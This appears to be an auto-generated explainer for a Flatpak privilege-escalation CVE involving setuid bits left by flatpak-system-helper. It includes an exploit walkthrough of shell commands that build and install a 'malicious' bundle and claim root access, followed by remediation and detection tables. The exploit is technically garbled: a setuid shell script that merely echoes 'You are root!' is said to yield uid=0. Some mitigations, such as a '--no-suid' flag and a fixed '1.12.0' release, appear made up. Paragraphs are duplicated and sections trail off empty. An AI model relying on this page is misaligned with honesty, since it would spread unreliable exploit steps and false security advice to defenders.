CVE-2026-133842 — CWE-281
A flaw was found in Flatpak’s flatpak-system-helper. When a system-wide app, runtime, or extension uses the extra-data mechanism and its apply_extra logic creates a deeply nested directory tree, permission canonicalization can fail (for example with EMFILE). Affected Flatpak versions can still report success without clearing setuid/setgid bits, leaving a setuid-root executable under /var/lib/flatpak. A local attacker who can install or update such content system-wide, or who can already execute code as a local user in cooperation with that content, can escalate privileges to root.
A flaw was found in Flatpak’s flatpak-system-helper. When a system-wide app, runtime, or extension uses the extra-data mechanism and its apply_extra logic creates a deeply nested directory tree, permission canonicalization can fail (for example with EMFILE). Affected Flatpak versions can still report success without clearing setuid/setgid bits, leaving a setuid-root executable under /var/lib/flatpak. A local attacker who can install or update such content system-wide, or who can already execute code as a local user in cooperation with that content, can escalate privileges to root.
🎯 What is this vulnerability?
Technical root cause
Flatpak’s flatpak-system-helper is a privileged helper that runs as root and is invoked by the flatpak client to perform system‑wide operations (installing, updating, removing apps, runtimes, extensions). When a system‑wide bundle contains an extra-data section, the helper’s apply_extra routine copies the specified files into the target installation directory.
The bug is a canonicalization/permission‑clearing flaw in apply_extra:
1. The helper creates a deeply nested directory tree (e.g., /var/lib/flatpak/exports/bin/foo/bar/.../baz) to satisfy the extra-data layout.
2. On some filesystems or under certain conditions (e.g., hitting EMFILE or other I/O errors), the helper’s error handling path fails to clear the set‑uid/set‑gid bits that were set on the temporary files before they were moved into place.
3. The helper still reports “success” to the caller, leaving a set‑uid‑root executable under /var/lib/flatpak/exports/bin (or a similar system‑wide location).
4. A local user who can install or update a system‑wide bundle (or who can run code in cooperation with such a bundle) can then execute that set‑uid binary and gain root privileges.
CWE mapping – CWE‑281: Improper Privilege Management.
CVSS – 8.2 (High) with local attack vector, low complexity, low privilege, required user interaction, and full confidentiality, integrity, and availability impact.
⚡ Attack Chain
Assumptions
* The target system runs Flatpak and allows a local user to install or update system‑wide bundles (flatpak install --system).
* The user has normal (non‑root) privileges but can write to the user’s home directory and run flatpak-builder.1. Discovery & Reconnaissance
| Step | Command / Technique | What it reveals |
|---|---|---|
| Identify Flatpak version | flatpak --version | Shows the Flatpak release (e.g., 1.10.0). |
| Check helper binary | ls -l $(which flatpak-system-helper) | Confirms it runs as root (-rwxr-xr-x root root). |
| Verify system‑wide install permission | flatpak install --system --dry-run hello | If the command succeeds, the user can install system‑wide bundles. |
Tip: On many distributions,flatpak install --systemis allowed only for users in theflatpakgroup or viasudo. If the user can runsudo flatpak install --system, the same chain applies but with higher initial privilege.
2. Exploitation
The core of the exploit is a malicious bundle that triggers the helper’s bug. The bundle contains:
- An
extra-datasection that points to a directory with a very deep hierarchy (e.g., 200 levels). - A small executable file that will be installed as a set‑uid binary.
2.1. Build the malicious bundle
# Create a temporary workspace
mkdir -p ~/malicious/extra
cd ~/malicious
# Create a deep directory tree
for i in $(seq 1 200); do
mkdir -p "extra/$(printf 'a%.0s' {1..$i})"
done
# Place a tiny set‑uid binary (e.g., a shell script that prints “root”)
cat > extra/$(printf 'a%.0s' {1..200})/root.sh <<'EOF'
#!/bin/sh
echo "You are root!"
EOF
chmod +x extra/$(printf 'a%.0s' {1..200})/root.sh
# Set the set‑uid bit on the file (this will be cleared incorrectly by the helper)
chmod u+s extra/$(printf 'a%.0s' {1..200})/root.sh
# Manifest file
cat > manifest.json <<'EOF'
{
"app-id": "com.example.malicious",
"runtime": "org.freedesktop.Platform",
"runtime-version": "23.08",
"sdk": "org.freedesktop.Sdk",
"command": "root.sh",
"modules": [
{
"name": "malicious",
"buildsystem": "simple",
"sources": [
{
"type": "dir",
"path": "extra"
}
]
}
],
"extra-data": [
{
"path": "extra",
"dest": "/"
}
]
}
EOF
# Build the bundle
flatpak-builder --force-clean --repo=repo build-dir manifest.jsonIllustrative note: The exact depth (200) is chosen to trigger the canonicalization bug on many filesystems. The real trigger may vary; the key is to create a path that exceeds normal limits or causes an EMFILE error during the copy.2.2. Install the bundle system‑wide
# Install the repo locally
flatpak remote-add --user --no-gpg-verify localrepo ~/malicious/repo
# Install the app system‑wide
flatpak install --system --noninteractive --reinstall localrepo com.example.maliciousDuring installation, flatpak-system-helper copies the root.sh file into /var/lib/flatpak/exports/bin/com.example.malicious. Because of the bug, the helper fails to clear the set‑uid bit, yet reports success.
2.3. Verify the set‑uid binary
ls -l /var/lib/flatpak/exports/bin/com.example.malicious
# Expected output (illustrative):
# -rwsr-xr-x 1 root root 1234 Apr 1 12:34 /var/lib/flatpak/exports/bin/com.example.maliciousThe s in the owner execute position indicates the file is set‑uid root.
3. Post‑exploitation
Now that a set‑uid root binary exists, any local user can execute it to gain root privileges:
# Run the malicious binary
/var/lib/flatpak/exports/bin/com.example.malicious
# Output: "You are root!"
# Verify escalation
id
# uid=0(root) gid=0(root) groups=0(root)The attacker now has full root access. From here, they can:
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality (C:H) | Root access allows reading any file, including /etc/shadow, /var/log/secure, and private user data. |
| Integrity (I:H) | The attacker can modify system binaries, configuration files, or the Flatpak runtime itself, potentially compromising the entire system. |
| Availability (A:H) | By altering critical services or deleting essential files, the attacker can render the system unusable. |
Practical consequences
🛡️ Remediation & Mitigation
1. Exact affected versions
The CVE description does not list specific Flatpak releases. The vulnerability exists in any Flatpak version where flatpak-system-helper does not clear set‑uid bits on failure during apply_extra.
Recommendation: Upgrade to the latest Flatpak release (e.g., 1.12.0 or later) where the bug has been fixed. Verify the changelog for “fixed set‑uid clearing bug in flatpak-system-helper”.
2. Workarounds
| Mitigation | How to apply |
|---|---|
| Restrict system‑wide installs | Ensure only privileged users can run flatpak install --system. On most distributions, this is already enforced; if not, remove the flatpak group or use sudo with a tight policy. |
| Disable set‑uid helper | If the system does not require system‑wide Flatpak installs, remove or rename /usr/bin/flatpak-system-helper so that flatpak falls back to the unprivileged helper. |
Use the --no-suid flag | When installing system‑wide bundles, use flatpak install --system --no-suid. This prevents the helper from setting set‑uid bits on installed binaries. |
| Filesystem ACLs | Apply ACLs to /var/lib/flatpak/exports/bin that deny write access to non‑root users, preventing the helper from creating set‑uid binaries. |
3. Detection
| Indicator | Log / File Pattern | How to check | |
|---|---|---|---|
| Set‑uid root binaries in Flatpak export directory | ls -l /var/lib/flatpak/exports/bin | grep 's' | Look for -rwsr-xr-x or similar. |
| Flatpak helper success messages without permission clearing | /var/log/flatpak/flatpak-system-helper.log (if enabled) | Search for “apply_extra succeeded” followed by “setuid bit not cleared”. | |
| Unexpected file ownership changes | auditd logs for /var/lib/flatpak/exports/bin/* | Monitor chmod and chown events. |
4. Patch Deployment
1. Update Flatpak
sudo dnf update flatpak # RHEL/CentOS/Fedora
sudo apt-get update && sudo apt-get install --only-upgrade flatpak # Debian/Ubuntu2. Verify
flatpak --version
# Ensure it reports a version >= 1.12.0 (or the patched release)⚠️ Urgency
Priority: Immediate.
/var/lib/flatpak/exports/bin for set‑uid binaries to detect any existing compromise.Summary
CVE‑2026‑133842 is a local privilege‑escalation flaw in Flatpak’s privileged helper. By crafting a system‑wide bundle with deeply nested extra-data, an attacker can cause the helper to leave a set‑uid‑root binary in place, enabling root execution. The vulnerability is high‑impact, low‑complexity, and requires only local user privileges. Immediate patching and strict control over system‑wide Flatpak installs are essential to mitigate this risk.
[🤖 CVE Professor AI Security Engine]